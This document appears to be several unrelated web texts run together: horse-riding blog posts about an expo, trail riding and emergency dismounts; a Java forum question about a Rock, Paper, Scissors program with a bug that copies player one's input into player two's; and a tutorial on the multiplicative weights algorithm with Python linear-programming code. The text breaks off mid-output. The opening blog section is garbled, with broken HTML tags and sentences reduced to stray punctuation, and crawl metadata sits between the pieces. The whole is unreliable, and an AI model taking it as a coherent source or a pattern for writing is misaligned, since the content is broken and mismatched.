huge.<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal!<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal?<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal>I heard from Cynthia after her episode aired last week; nearly three months after she lost her lovely mare. The hole in her heart is slowly healing and although it was previously inconceivable, she now is beginning to think about another horse. Cynthia wrote, “<span style='font-size:12.0pt;font-family:"Times New Roman","serif"'.”<o:p></o:p></span></p><p class=MsoNormal><span style='font-size:12.0pt;font-family:"Times New Roman","serif"'.<o:p></o:p></span></p><p class=MsoNormal><span style='font-size:12.0pt;font-family:"Times New Roman","serif"'>Enjoy the ride,<o:p></o:p></span></p><p class=MsoNormal><span style='font-size:12.0pt;font-family:"Times New Roman","serif"'>Julie<o:p></o:p></span></p><p class=MsoNormal><span style='font-size:12.0pt;font-family:"Times New Roman","serif"'>PS- in case you missed Cynthia’s episode, it will air again the week of June 27<sup>th</sup>.< Smile in the Face of Adversity<div class=WordSection1><p class=MsoNormal>Last week I was a presenter at Equine Affaire in Columbus OH. In case you’ve never been to this expo, it is huge—with hundreds of vendors, every kind of junk food imaginable (and some that are unimaginable—like fried Oreos), marvelous entertainment and an educational program from some of the top trainers in the world. I love this event and always have a good time, even though it is non-stop action and long days.<o:p></o:p></p><p class=MsoNormal>This year, in addition to doing presentations every day, I also was the emcee for the Equine Affaire Versatile Horse & year’s competition, the quality of the horses was so high that it made my job easy. <o:p></o:p></p><p class=MsoNormal!<o:p></o:p></p><p class=MsoNormal>In addition to helping with the competition, I also did several presentations over the weekend on topics including riding better, building confidence, horse behavior, ground manners, canter leads and even one about riding challenging and difficult horses. Needless to say, it was the latter topic that got interesting.<o:p></o:p></p><p class=MsoNormal horse’s.<o:p></o:p></p><p class=MsoNormal>To be honest, I’ve.<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal publically lived out this very private moment, I kept going.<o:p></o:p></p><p class=MsoNormal>I mounted her horse right away so that the horse had to keep working and regain his focus and to see if it would be safe for the rider to remount once she was cleared by the medics. As I mentioned, he was not easy to ride, but he was just a green 3 y/o—no fault of his own; he just didn’t know much. After I was up for a few minutes and had resumed the clinic, the rider was pronounced healthy and allowed to get back up off the dirt. Ironically, this caused spontaneous applause from the audience, which sent the horse into a spooking bolt across the arena. For a few seconds, while I struggled to stop the horse, I saw this same scenario playing out only with me laying in the dirt this time. But I got the horse stopped and after settling it down again the rider remounted with a big smile on her face.<o:p></o:p></p><p class=MsoNormal>I was so impressed with this young lady’s composure and maturity. Imagine the embarrassment of falling off in front of a huge crowd (over 1,000 people watching), not to mention the blow to your personal confidence. She picked herself up, dusted off the dirt and got right back up on her horse and rode it like a champ. No tears, no anger, no blaming; but she did have a smile on her face the whole time. She just rode like a cowgirl (but in breeches and tall boots) and I think everyone in the audience, like me, was both empathetic and impressed.<o:p></o:p></p><p class=MsoNormal rider’s.<o:p></o:p></p><p class=MsoNormal. Not "Just" Trail Riding<div class="WordSection1"><p class="MsoNormal">While I was making a presentation recently, in front of a large crowd at a horse expo, I heard myself say, while justifying why the horses in the huge coliseum were a little overwhelmed, “please understand their discomfort, after all , they’re just trail horses.” I knew it sounded wrong, even as it came out of my mouth and even though I was reiterating the disclaimers of the riders to please excuse their horses because they had never been in an indoor arena. The fact that they were “just” trail horses and “just” trail riders has given me some food for thought. The truth is, trail riding requires the same horsemanship skills as any other type of riding and given the fact that you are riding in a totally uncontrolled environment and often in unpredictable circumstances, you could argue that trail riding requires an even higher level of horsemanship.<o:p></o:p></p><p class="MsoNormal">In the past decade, I have seen the nature of the riders in my clinics change. It used to be that the riders were more interested in showing—in improving their riding skills to perform certain maneuvers better or in making their horse go slowly on the rail so they could win more ribbons. It used to be that people who were “just trail riders,” didn’t show up at clinics because they weren’t interested in showing, performance or going ‘round and ‘round. These days, my clinics are full of trail riders who have realized that the more they know, the better they ride, and the stronger their partnership between horse and human, the safer and more satisfying their horse activities become.<o:p></o:p></p><p class="MsoNormal">After all, it doesn’t matter whether you hit the trail or ride around in circles, you need to have authority over your horse, he needs to respect and admire your leadership so that he is comfortable leaving the herd in your presence and going wherever you say, and he needs to have good ground manners before, during and after your ride. You need to know how to stay balanced on your horse (arguably even more for trail riding), you need to know how to cue him and control him in all gaits and you need to be able to rate his speed and put him exactly where you want him to be—maneuvering around challenging obstacles. These horsemanship skills are important no matter where you are going with your horse and they require study, practice and experience.<o:p></o:p></p><p class="MsoNormal">The truth is, good horsemanship is good horsemanship, no matter what discipline you ride or what activities you pursue—there are no horse activities exempt from this. For instance, take a look at some of the topics, just released in my new video, “Trail Solutions.” Starting out with the ability to evaluate a horse to make sure that it is the right type, age and training level, so that you have the greatest chance for success out on the trail or in whatever discipline you choose. Trailer loading is not “just for trail horses”—but it’s pretty important and almost any horse is going to have the need to be transported at some point, but especially a trail horse. Having a horse that steps right into the trailer without pushing or prodding is as important for a person going to a horse show every weekend as it is to a trail rider. Knowing how to safely train him to lead willingly and eagerly into the trailer is a skill almost any horse person needs. <o:p></o:p></p><p class="MsoNormal">Side passing is not just a cute show ring maneuver or a fancy dance step; it’s a way to completely control your horse’s body and maneuver him to an exact position that you dictate. When you’re out on the trail, being able to maneuver around obstacles, keep your horse in control in tight and confining spaces or sidle up to a gate to open it are valuable and essential skills. And having a horse that stands dead still for mounting is perhaps more valuable for a trail horse than it is for any arena horse, since mounting out on the trail can sometimes be precarious. Here's a clip from the Trail Solutions DVD:<br /></p><p class="MsoNormal"><iframe title="YouTube video player" src="" allowfullscreen="" width="640" frameborder="0" height="390"></iframe><br /><o:p></o:p></p><p class="MsoNormal">What about desensitizing a “cinchy” horse? Most people that have been around horses for very long have at some point encountered a horse that is resistant and resentful about tightening the cinch/girth and it is as common in trail horses as it is in any other type. It can strike the easiest going, best tempered horse if pain is inflicted by the cinch. Learning how to eliminate this undesirable and potentially dangerous behavior might make the difference in salvaging a good trail horse. That episode is on another Horse Master compilation that trail riders will also find helpful--Troubleshooting. Here's a clip from that one:<br /></p><p class="MsoNormal"><iframe title="YouTube video player" src="" allowfullscreen="" width="480" frameborder="0" height="390"></iframe></p><p class="MsoNormal">You can call to get both or either DVD at: 800-225-8827<br /><o:p></o:p></p><p class="MsoNormal">Studying and perfecting good horsemanship skills is equally important for all types of riders and like in any discipline, trail riders will be safer, have more fun and get more satisfaction if they ride better, have a trusting and willing horse and know how to handle “problem” situations. I’ve met lots of very experienced riders that used to compete and/or rode at very high levels, but now they find their greatest satisfaction in “just” trail riding. Trail riding can be a challenging and sometimes difficult pursuit and, as with anything challenging in life, it helps to know more. That’s why I love having trail riders in my clinics and I expect the same level of commitment to excellence that I do from any rider.<o:p></o:p></p><p class="MsoNormal">Trail riding can range from a leisurely stroll down a mowed path around the barn to a 100 mile trek through the mountains. Any event that involves riding horses requires skill, knowledge, lots of practice and lots of patience. An accomplished horse person is admirable in my eyes, not matter what path she follows. What do you think? Dismount<div class=WordSection1><p class=MsoNormal>I had an interesting question recently from one of my good Facebook friends: “If you want to stay on, at what moment does the rider decide to execute an "emergency dismount"?”<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>This is a good question and one to which there is no definitive answer, except, “it all depends on the circumstance.” In general you are usually better off and safer staying on the horse if it is at all possible. Even teaching the emergency dismount is somewhat controversial for two reasons. First, practicing the emergency dismount is risky and injury-prone; when vaulting off a moving horse, it’s easy to fall down, sprain an ankle or worse. So practicing something that you may or may not ever need but may cause injury just by practicing is questionable. Of course, you could certainly argue the opposite that if you were to ever need it, having practiced it may make you less prone to injury. When I taught kids, I had them learn and practice the emergency dismount routinely. Now that my student base is middle-aged and older adults, I don’t teach it at all—because of the potential for injury in the practice.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The second reason why it is controversial to teach the emergency dismount is because you may end up with a rider that bails off the horse for no good reason when they should have stayed on and this can cause a lot of problems. Again, you are usually safer on the horse than off, because once you come off you are probably going to hit the ground (or some other hard object) and you may become a victim of the horse’s hooves. However, like everything with horses, there are exceptions to the rule.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>In my entire riding career, I have only voluntarily come off a horse a few times. I have certainly had plenty of “unscheduled dismounts” through the years, but those weren’t by choice. Most of the time I have come off a horse, I have realized that I couldn’t stay on because I was too out of position or out of balance and I came off knowingly but not exactly executing an emergency dismount—more like being ejected. It’s funny how time seems to be suspended in those moments and usually there is time to think about the fact you are going to come off and how and where you might land, but not enough time to execute an emergency dismount. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The few times I have voluntarily done an emergency dismount, there have been some extenuating circumstances, and these are probably the only situations in which I would do it. In both instances I can remember, the horse was running away with me, out in the open—not in an arena-- maybe bucking maybe not, but I had already tried my best to regain control and I determined I couldn’t do it. Running away, in and of itself, is not enough to make me bail because the one thing about a runaway horse, which I learned riding race horses, is that eventually he will run out of oxygen and stop. In both cases that I did bail, the horse was headed for something dangerous, like a barb-wire fence, with seemingly no concern about his own well-being. Running away is one thing, but when the horse is in such a panic that it loses its sense of self-preservation, you’re in trouble. And BTW—this is a good thing to remember—when the horse is willing to cause injury to himself, he is way beyond rational control and both of you are at great risk.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>There are probably a few circumstances where in hind-sight I should have bailed off but didn’t. But my tendency is to stay on board if at all possible. I think that if a rider is too quick to bail off, not only is she risking injury in the dismount but there will also be times when she would’ve stayed on if she had tried. But a controlled crash-landing is usually better than an uncontrolled one. I do think there is some value in learning how to take a fall—tuck and roll. And I think it is valuable to know the process of an emergency dismount.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>There are two really critical factors when you are coming off a horse-- whether it’s an emergency dismount or not. First, you have to get your feet clear of the stirrups ASAP. You’d be surprised how many people, in a panic, go to dismount and forget to take their feet out. The potential disastrous results are obvious. Secondly, DO NOT hold onto the reins—let the horse go! You’d be surprised how many people try to hang onto the reins when they fall, in a last-ditch effort to maintain control, and then end up pulling the horse down onto them or breaking an arm or dislocating a shoulder. If you are coming off a horse, voluntarily or not, get your feet out of the stirrups and let go, pushing yourself as far away from the horse as possible.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>It is an unfortunate characteristic of the sport that things sometimes do not go according to plan. And even with the most docile, steady horse, there may be times when bad things happen. Keeping your wits about you and continuing to think through the crisis are the most useful tools you have. The emergency dismount has its time and place, but it should be a method of last resort.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Here’s to hoping you always stay on the topside!
http://feeds.feedburner.com/JulieGoodnightOnTheRoad
crawl-003
refinedweb
17,857
66.67
Goldman Sachs Interview QuestionSoftware Engineer / Developers Country: India Interview Type: Written Test Firstly map each value of array B with index, say in "map datastructure" 3->1 4->2 ... 7->5 After that update the value of array A which are in B as the key value from "map" A = [1,3,4,2,5,6] after updating we get C as C = [ 1,2, 4,3] from C find the longest increasing subsequence and subtract the length of it from length of B. ans = ( len(B)-len(C)) // As I know, we dont remove 3 // A = [1,3,4,2,5,6], B = [3,4,6,5,7] // We need find C = maximum run way from A to B = max |S = [a_i]: a_i belongs B and respect order in A and B| = [3,4,5] // answer = |B| - |C| int max_run_way(std::vector<int> a, std::vector<int> b) { size_t ia = 0, ib = 0; while (ia < a.size() && ib < b.size()) { if (a[ia++] == b[ib]) { ++ib; } } return b.size() - ib; } public class MinimumArrayInsertions { public static void main(String[] args) { MinimumArrayInsertions app = new MinimumArrayInsertions(); System.out.println(app.minimumInsertions(new int[]{1, 3, 4, 2, 5, 6}, new int[]{3, 4, 6, 5, 7})); } public int minimumInsertions(int[] arrA, int[] arrB) { int i = 0;//min insertions int al = arrA.length;//element counter in A for (int n = 0; n < arrB.length;) { if (n <= al - 1) { //good to compare and shift until there is equivalence at this position and increment n++ if (arrB[n] == arrA[n]) { //nice n += 1; } else { //delete in A and shift and loop for (int p = n; p < al - 1; p++) { arrA[p] = arrA[p + 1]; } //reduce arrA length al -= 1; //maintin value n and recheck again } } else { //concat all arrB[n] to arrB[arrB.length-1] and count insertions i = i + (arrB.length - n); //set value of n to size of B n = arrB.length; } } return i; } } why we have to remove 3 from A since it is available in the B, in the above test case.- MO August 24, 2020
https://careercup.com/question?id=5736582460473344
CC-MAIN-2021-25
refinedweb
345
65.86
22 April 2011 18:38 [Source: ICIS news] HOUSTON (ICIS)--US methyl ethyl ketone (MEK) producers are seeking 15 cents/lb ($331/tonne, €228/tonne) contract increase effective 1 May on continuing supply constraints, sources confirmed on Friday. Although ?xml:namespace> Already, gains of 5 cents/lb effective 1 April were implemented, moving contract prices to $1.10-$1.14/lb, as assessed by ICIS. In the meantime, initiatives of plus 5 cents/lb effective around 20 April were still firming. “But as tight as material is,” a buyer said, “it supports the early and mid-month price efforts.” If successful, recent initiatives would yield increases totalling 25 cents/lb for the 1 April-1 May period and take contract levels to as high as $1.29 or $1.30/lb. Customers expected higher pricing, but said spot offers have been heard throughout the $2/lb range, although there were no confirmed deals at that level. Drummed spot material was confirmed in a range of $1.50-1.70/lb, but spot offers higher than that were still considered price gouging, buyers said. Sources said MEK imports to the As happened in early 2010, some participants were expected to soon exit a market that has become prohibitive because of escalating prices and a lack of supply. Buyers see little reason for market optimism. “I feel sure that some producers are getting ready to set control quantities on a monthly basis,” a buyer said. “And I’m not sure the issues lie just with tightness, but just as much with rising costs.” Some end users will shut down due to cost, the buyer added. “It’s looking bad to me at this point.” Japan-based Maruzen Petrochemical's MEK plant, which was shut down after a quake-related fire, may be unlikely to restart for a year, although other company facilities had restarted or were expected to do so in the very near term.Asia-based distributors said supply from Meanwhile, “a lot of domestic demand has been prompted by the rise in prices,” a buyer said. “Folks are trying to buy ahead of the big one [price increase] in May.” US MEK suppliers include ExxonMobil, Shell and Sasol. ($1 = €0.69) For more about MEK
http://www.icis.com/Articles/2011/04/22/9454746/us-mek-pricing-escalating-rapidly-on-supply-constraints.html
CC-MAIN-2014-42
refinedweb
375
63.29
First off I hope I am in the correct section, I am currently writing a Rock, Paper, Scissors program for my class and I ran into an issue that I don't seem to be able to fix. If you notice it doesn't matter what Player 2 inputs, it seems to just automatically pull whatever player 1 put in place.If you notice it doesn't matter what Player 2 inputs, it seems to just automatically pull whatever player 1 put in place.Quote: Originally Posted by Netbeans Console I have tried adding stdIn.next(); stdIn.nextInt(); stdIn.nextLine(); To clear the stream, however it doesn't seem to resolve the issue and just forces the user to type on a blank line to proceed. Anyone have any tips? Code java: package assignment4; import java.awt.AWTException; import java.awt.Robot; import java.util.Scanner; import java.util.logging.Level; import java.util.logging.Logger; public class Assignment4 { public static void main(String[] args) { String playerOne; String playerTwo; int userInput; int gameCount; boolean bestOf = false; Scanner stdIn = new Scanner(System.in); //Best of X Series while (!bestOf) { System.out.print("How many games should be played in a best of X series? "); gameCount = stdIn.nextInt(); userInput = gameCount % 2; if (userInput == 1) { System.out.println("You will be playing " + gameCount + " matches first one to win " + ((gameCount / 2) + 1) + " games wins."); bestOf = true; } else { System.out.println("You have entered an invalid number for a best of X series, please enter a new number"); } } //Clean out the stream stdIn.nextLine(); //Turn phase //PlayerOne's Turn System.out.print("Player 1: Enter R for Rock, P for Paper, S for Scissors: "); playerOne = stdIn.nextLine(); playerOne = playerOne.toUpperCase(); //Robot to Clear Screen, Pulled from [url=]java - How to delete stuff printed to console by System.out.println()? - Stack Overflow[/url] try { Robot clearScreen = new Robot(); clearScreen.keyPress(17); // Holds CTRL key. clearScreen.keyPress(76); // Holds L key. clearScreen.keyRelease(17); // Releases CTRL key. clearScreen.keyRelease(76); // Releases L key. } catch (AWTException ex) { Logger.getLogger(Assignment4.class.getName()).log(Level.SEVERE, null, ex); } //PlayerTwo's Turn System.out.print("Player 2: Enter R for Rock, P for Paper, S for Scissors: "); playerTwo = stdIn.nextLine(); playerTwo = playerOne.toUpperCase(); //Testing Variable System.out.println(playerOne); System.out.println(playerTwo); } }
http://www.javaprogrammingforums.com/%20object-oriented-programming/23697-stdin-nextline-%3B-stdin-next-%3B-pulling-incorrect-variables-printingthethread.html
CC-MAIN-2016-30
refinedweb
383
53.17
From: Jeff Garland (jeff_at_[hidden]) Date: 2004-08-28 12:46:48 On Sat, 28 Aug 2004 09:24:42 -0700, Robert Ramey wrote > Overlap > ======= > I've also taken a forward look at Jon Turkanis coming offering. I > see significant overlap. Jonathon's library is more ambitious in > that it in that it addresses composition of stream buffer adaptors. > I suspect it would include the above as subset. > > So - I'm going to recommend that the review manager for this library > reserve judgment pending the upcoming review of the Jonathon's > library. Ideally the two managers involved would coordinate their > reviews so that functionality doesn't get duplicated. I've looked at both libraries and I share this opinion. While Daryle's manipulator code is basically independent, there is major overlap in some of the stream buffer areas. I think some of Daryle's current code should be rewritten using Jonathon's. Also, at the moment these libraries share directories and namespaces -- so we are going to have to do something if both are accepted. Finally, there is documentation to merge -- or not. So I'll talk to Tom about this.... Jeff Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
https://lists.boost.org/Archives/boost/2004/08/70923.php
CC-MAIN-2021-43
refinedweb
214
67.86
#include <RemoteViz/Rendering/Connection.h> Represents a connection from a Client to a RenderArea managed by the RemoteViz service. RemoteViz is protected by the Open Inventor license key mechanism limiting its usage to specified computers or network environments based on commercial agreements. RemoteViz uses floating licenses managed by a license server or an encrypted "master password" string (see SoLockManager). Each Connection requires one RemoteViz license (an SDK license for development/debugging or Runtime license for deployment). If no license is found, the listener ServiceListener::onMissingLicense will be triggered. Closes the connection. A KICKED disconnect message will be sent to the client. Gets the id of the client associated with the connection. Gets the client container height. Gets the client container width. Gets the id of the connection. Gets the last encoded frame sent by the connection. Gets the connection parameters (field-value pairs included in the url during the client connection). Gets the RenderArea associated with the connection. Gets the last renderArea height requested by the client. Gets the last renderArea width requested by the client. Gets the connection settings. Sends a binary message to the client. The client-side message event will be triggered. Sends a text message to the client. The client-side message event will be triggered.
https://developer.openinventor.com/refmans/latest/RefManCpp/class_remote_viz_1_1_rendering_1_1_connection.html
CC-MAIN-2020-16
refinedweb
210
53.27
Hard to believe Sanjeev Arora and his coauthors consider it “a basic tool [that should be] taught to all algorithms students together with divide-and-conquer, dynamic programming, and random sampling.” Christos Papadimitriou calls it “so hard to believe that it has been discovered five times and forgotten.” It has formed the basis of algorithms in machine learning, optimization, game theory, economics, biology, and more. What mystical algorithm has such broad applications? Now that computer scientists have studied it in generality, it’s known as the Multiplicative Weights Update Algorithm (MWUA). Procedurally, the algorithm is simple. I can even describe the core idea in six lines of pseudocode. You start with a collection of objects, and each object has a weight. Set all the object weights to be 1. For some large number of rounds: Pick an object at random proportionally to the weights Some event happens Increase the weight of the chosen object if it does well in the event Otherwise decrease the weight The name “multiplicative weights” comes from how we implement the last step: if the weight of the chosen object at step is before the event, and represents how well the object did in the event, then we’ll update the weight according to the rule: Think of this as increasing the weight by a small multiple of the object’s performance on a given round. Here is a simple example of how it might be used. You have some money you want to invest, and you have a bunch of financial experts who are telling you what to invest in every day. So each day you pick an expert, and you follow their advice, and you either make a thousand dollars, or you lose a thousand dollars, or something in between. Then you repeat, and your goal is to figure out which expert is the most reliable. This is how we use multiplicative weights: if we number the experts , we give each expert a weight which starts at 1. Then, each day we pick an expert at random (where experts with larger weights are more likely to be picked) and at the end of the day we have some gain or loss . Then we update the weight of the chosen expert by multiplying it by . Sometimes you have enough information to update the weights of experts you didn’t choose, too. The theoretical guarantees of the algorithm say we’ll find the best expert quickly (“quickly” will be concrete later). In fact, let’s play a game where you, dear reader, get to decide the rewards for each expert and each day. I programmed the multiplicative weights algorithm to react according to your choices. Click the image below to go to the demo. This core mechanism of updating weights can be interpreted in many ways, and that’s part of the reason it has sprouted up all over mathematics and computer science. Just a few examples of where this has led: - In game theory, weights are the “belief” of a player about the strategy of an opponent. The most famous algorithm to use this is called Fictitious Play, and others include EXP3 for minimizing regret in the so-called “adversarial bandit learning” problem. - In machine learning, weights are the difficulty of a specific training example, so that higher weights mean the learning algorithm has to “try harder” to accommodate that example. The first result I’m aware of for this is the Perceptron (and similar Winnow) algorithm for learning hyperplane separators. The most famous is the AdaBoost algorithm. - Analogously, in optimization, the weights are the difficulty of a specific constraint, and this technique can be used to approximately solve linear and semidefinite programs. The approximation is because MWUA only provides a solution with some error. - In mathematical biology, the weights represent the fitness of individual alleles, and filtering reproductive success based on this and updating weights for successful organisms produces a mechanism very much like evolution. With modifications, it also provides a mechanism through which to understand sex in the context of evolutionary biology. - The TCP protocol, which basically defined the internet, uses additive and multiplicative weight updates (which are very similar in the analysis) to manage congestion. - You can get easy -approximation algorithms for many NP-hard problems, such as set cover. Additional, more technical examples can be found in this survey of Arora et al. In the rest of this post, we’ll implement a generic Multiplicative Weights Update Algorithm, we’ll prove it’s main theoretical guarantees, and we’ll implement a linear program solver as an example of its applicability. As usual, all of the code used in the making of this post is available in a Github repository. The generic MWUA algorithm Let’s start by writing down pseudocode and an implementation for the MWUA algorithm in full generality. In general we have some set of objects and some set of “event outcomes” which can be completely independent. If these sets are finite, we can write down a table whose rows are objects, whose columns are outcomes, and whose entry is the reward produced by object when the outcome is . We will also write this as for object and outcome . The only assumption we’ll make on the rewards is that the values are bounded by some small constant (by small I mean should not require exponentially many bits to write down as compared to the size of ). In symbols, . There are minor modifications you can make to the algorithm if you want negative rewards, but for simplicity we will leave that out. Note the table just exists for analysis, and the algorithm does not know its values. Moreover, while the values in are static, the choice of outcome for a given round may be nondeterministic. The MWUA algorithm randomly chooses an object in every round, observing the outcome , and collecting the reward (or losing it as a penalty). The guarantee of the MWUA theorem is that the expected sum of rewards/penalties of MWUA is not much worse than if one had picked the best object (in hindsight) every single round. Let’s describe the algorithm in notation first and build up pseudocode as we go. The input to the algorithm is the set of objects, a subroutine that observes an outcome, a black-box reward function, a learning rate parameter, and a number of rounds. def MWUA(objects, observeOutcome, reward, learningRate, numRounds): ... We define for object a nonnegative number we call a “weight.” The weights will change over time so we’ll also sub-script a weight with a round number , i.e. is the weight of object in round . Initially, all the weights are . Then MWUA continues in rounds. We start each round by drawing an example randomly with probability proportional to the weights. Then we observe the outcome for that round and the reward for that round. # draw: [float] -> int # pick an index from the given list of floats proportionally # to the size of the entry (i.e. normalize to a probability # distribution and draw according to the probabilities). def draw(weights): choice = random.uniform(0, sum(weights)) choiceIndex = 0 for weight in weights: choice -= weight if choice <= 0: return choiceIndex choiceIndex += 1 #) ... Sampling objects in this way is the same as associating a distribution to each round, where if then the probability of drawing , which we denote , is . We don’t need to keep track of this distribution in the actual run of the algorithm, but it will help us with the mathematical analysis. Next comes the weight update step. Let’s call our learning rate variable parameter . In round say we have object and outcome , then the reward is . We update the weight of the chosen object according to the formula: In the more general event that you have rewards for all objects (if not, the reward-producing function can output zero), you would perform this weight update on all objects . This turns into the following Python snippet, where we hide the division by into the choice of learning rate: #) for i in range(len(weights)): weights[i] *= (1 + learningRate * reward(objects[i], outcome)) One of the amazing things about this algorithm is that the outcomes and rewards could be chosen adaptively by an adversary who knows everything about the MWUA algorithm (except which random numbers the algorithm generates to make its choices). This means that the rewards in round can depend on the weights in that same round! We will exploit this when we solve linear programs later in this post. But even in such an oppressive, exploitative environment, MWUA persists and achieves its guarantee. And now we can state that guarantee. Theorem (from Arora et al): The cumulative reward of the MWUA algorithm is, up to constant multiplicative factors, at least the cumulative reward of the best object minus , where is the number of objects. (Exact formula at the end of the proof) The core of the proof, which we’ll state as a lemma, uses one of the most elegant proof techniques in all of mathematics. It’s the idea of constructing a potential function, and tracking the change in that potential function over time. Such a proof usually has the mysterious script: - Define potential function, in our case . - State what seems like trivial facts about the potential function to write in terms of , and hence get general information about for some large . - Theorem is proved. - Wait, what? Clearly, coming up with a useful potential function is a difficult and prized skill. In this proof our potential function is the sum of the weights of the objects in a given round, . Now the lemma. Lemma: Let be the bound on the size of the rewards, and a learning parameter. Recall that is the probability that MWUA draws object in round . Write the expected reward for MWUA for round as the following (using only the definition of expected value): Then the claim of the lemma is: Proof. Expand using the definition of the MWUA update: Now distribute and split into two sums: Using the fact that , we can replace with , which allows us to get And then using the fact that (Taylor series), we can bound the last expression by , as desired. Now using the lemma, we can get a hold on for a large , namely that If then , simplifying the above. Moreover, the sum of the weights in round is certainly greater than any single weight, so that for every fixed object , Squeezing between these two inequalities and taking logarithms (to simplify the exponents) gives Multiply through by , divide by , rearrange, and use the fact that when we have (Taylor series) to get The bracketed term is the payoff of object , and MWUA’s payoff is at least a fraction of that minus the logarithmic term. The bound applies to any object , and hence to the best one. This proves the theorem. Briefly discussing the bound itself, we see that the smaller the learning rate is, the closer you eventually get to the best object, but by contrast the more the subtracted quantity hurts you. If your target is an absolute error bound against the best performing object on average, you can do more algebra to determine how many rounds you need in terms of a fixed . The answer is roughly: let and pick . See this survey for more. MWUA for linear programs Now we’ll approximately solve a linear program using MWUA. Recall that a linear program is an optimization problem whose goal is to minimize (or maximize) a linear function of many variables. The objective to minimize is usually given as a dot product , where is a fixed vector and is a vector of non-negative variables the algorithm gets to choose. The choices for are also constrained by a set of linear inequalities, , where is a fixed vector and is a scalar for . This is usually summarized by putting all the in a matrix, in a vector, as We can further simplify the constraints by assuming we know the optimal value in advance, by doing a binary search (more on this later). So, if we ignore the hard constraint , the “easy feasible region” of possible ‘s includes . In order to fit linear programming into the MWUA framework we have to define two things. - The objects: the set of linear inequalities . - The rewards: the error of a constraint for a special input vector . Number 2 is curious (why would we give a reward for error?) but it’s crucial and we’ll discuss it momentarily. The special input depends on the weights in round (which is allowed, recall). Specifically, if the weights are , we ask for a vector in our “easy feasible region” which satisfies For this post we call the implementation of procuring such a vector the “oracle,” since it can be seen as the black-box problem of, given a vector and a scalar and a convex region , finding a vector satisfying . This allows one to solve more complex optimization problems with the same technique, swapping in a new oracle as needed. Our choice of inputs, , are particular to the linear programming formulation. Two remarks on this choice of inputs. First, the vector is a weighted average of the constraints in , and is a weighted average of the thresholds. So this this inequality is a “weighted average” inequality (specifically, a convex combination, since the weights are nonnegative). In particular, if no such exists, then the original linear program has no solution. Indeed, given a solution to the original linear program, each constraint, say , is unaffected by left-multiplication by . Second, and more important to the conceptual understanding of this algorithm, the choice of rewards and the multiplicative updates ensure that easier constraints show up less prominently in the inequality by having smaller weights. That is, if we end up overly satisfying a constraint, we penalize that object for future rounds so we don’t waste our effort on it. The byproduct of MWUA—the weights—identify the hardest constraints to satisfy, and so in each round we can put a proportionate amount of effort into solving (one of) the hard constraints. This is why it makes sense to reward error; the error is a signal for where to improve, and by over-representing the hard constraints, we force MWUA’s attention on them. At the end, our final output is an average of the produced in each round, i.e. . This vector satisfies all the constraints to a roughly equal degree. We will skip the proof that this vector does what we want, but see these notes for a simple proof. We’ll spend the rest of this post implementing the scheme outlined above. Implementing the oracle Fix the convex region for a known optimal value . Define as the problem of finding an such that . For the case of this linear region , we can simply find the index which maximizes . If this value exceeds , we can return the vector with that value in the -th position and zeros elsewhere. Otherwise, the problem has no solution. To prove the “no solution” part, say and you have a solution to . Then for whichever index makes bigger, say , you can increase without changing by replacing with and with zero. I.e., we’re moving the solution along the line until it reaches a vertex of the region bounded by and . This must happen when all entries but one are zero. This is the same reason why optimal solutions of (generic) linear programs occur at vertices of their feasible regions. The code for this becomes quite simple. Note we use the numpy library in the entire codebase to make linear algebra operations fast and simple to read. def makeOracle(c, optimalValue): n = len(c) def oracle(weightedVector, weightedThreshold): def quantity(i): return weightedVector[i] * optimalValue / c[i] if c[i] > 0 else -1 biggest = max(range(n), key=quantity) if quantity(biggest) < weightedThreshold: raise InfeasibleException return numpy.array([optimalValue / c[i] if i == biggest else 0 for i in range(n)]) return oracle Implementing the core solver The core solver implements the discussion from previously, given the optimal value of the linear program as input. To avoid too many single-letter variable names, we use linearObjective instead of . def solveGivenOptimalValue(A, b, linearObjective, optimalValue, learningRate=0.1): m, n = A.shape # m equations, n variables oracle = makeOracle(linearObjective, optimalValue) def reward(i, specialVector): ... def observeOutcome(_, weights, __): ... numRounds = 1000 weights, cumulativeReward, outcomes = MWUA( range(m), observeOutcome, reward, learningRate, numRounds ) averageVector = sum(outcomes) / numRounds return averageVector First we make the oracle, then the reward and outcome-producing functions, then we invoke the MWUA subroutine. Here are those two functions; they are closures because they need access to and . Note that neither nor the optimal value show up here. def reward(i, specialVector): constraint = A[i] threshold = b[i] return threshold - numpy.dot(constraint, specialVector) def observeOutcome(_, weights, __): weights = numpy.array(weights) weightedVector = A.transpose().dot(weights) weightedThreshold = weights.dot(b) return oracle(weightedVector, weightedThreshold) Implementing the binary search, and an example Finally, the top-level routine. Note that the binary search for the optimal value is sophisticated (though it could be more sophisticated). It takes a max range for the search, and invokes the optimization subroutine, moving the upper bound down if the linear program is feasible and moving the lower bound up otherwise. def solve(A, b, linearObjective, maxRange=1000): optRange = [0, maxRange] while optRange[1] - optRange[0] > 1e-8: proposedOpt = sum(optRange) / 2 print("Attempting to solve with proposedOpt=%G" % proposedOpt) # Because the binary search starts so high, it results in extreme # reward values that must be tempered by a slow learning rate. Exercise # to the reader: determine absolute bounds for the rewards, and set # this learning rate in a more principled fashion. learningRate = 1 / max(2 * proposedOpt * c for c in linearObjective) learningRate = min(learningRate, 0.1) try: result = solveGivenOptimalValue(A, b, linearObjective, proposedOpt, learningRate) optRange[1] = proposedOpt except InfeasibleException: optRange[0] = proposedOpt return result Finally, a simple example: A = numpy.array([[1, 2, 3], [0, 4, 2]]) b = numpy.array([5, 6]) c = numpy.array([1, 2, 1]) x = solve(A, b, c) print(x) print(c.dot(x)) print(A.dot(x) - b) The output: Attempting to solve with 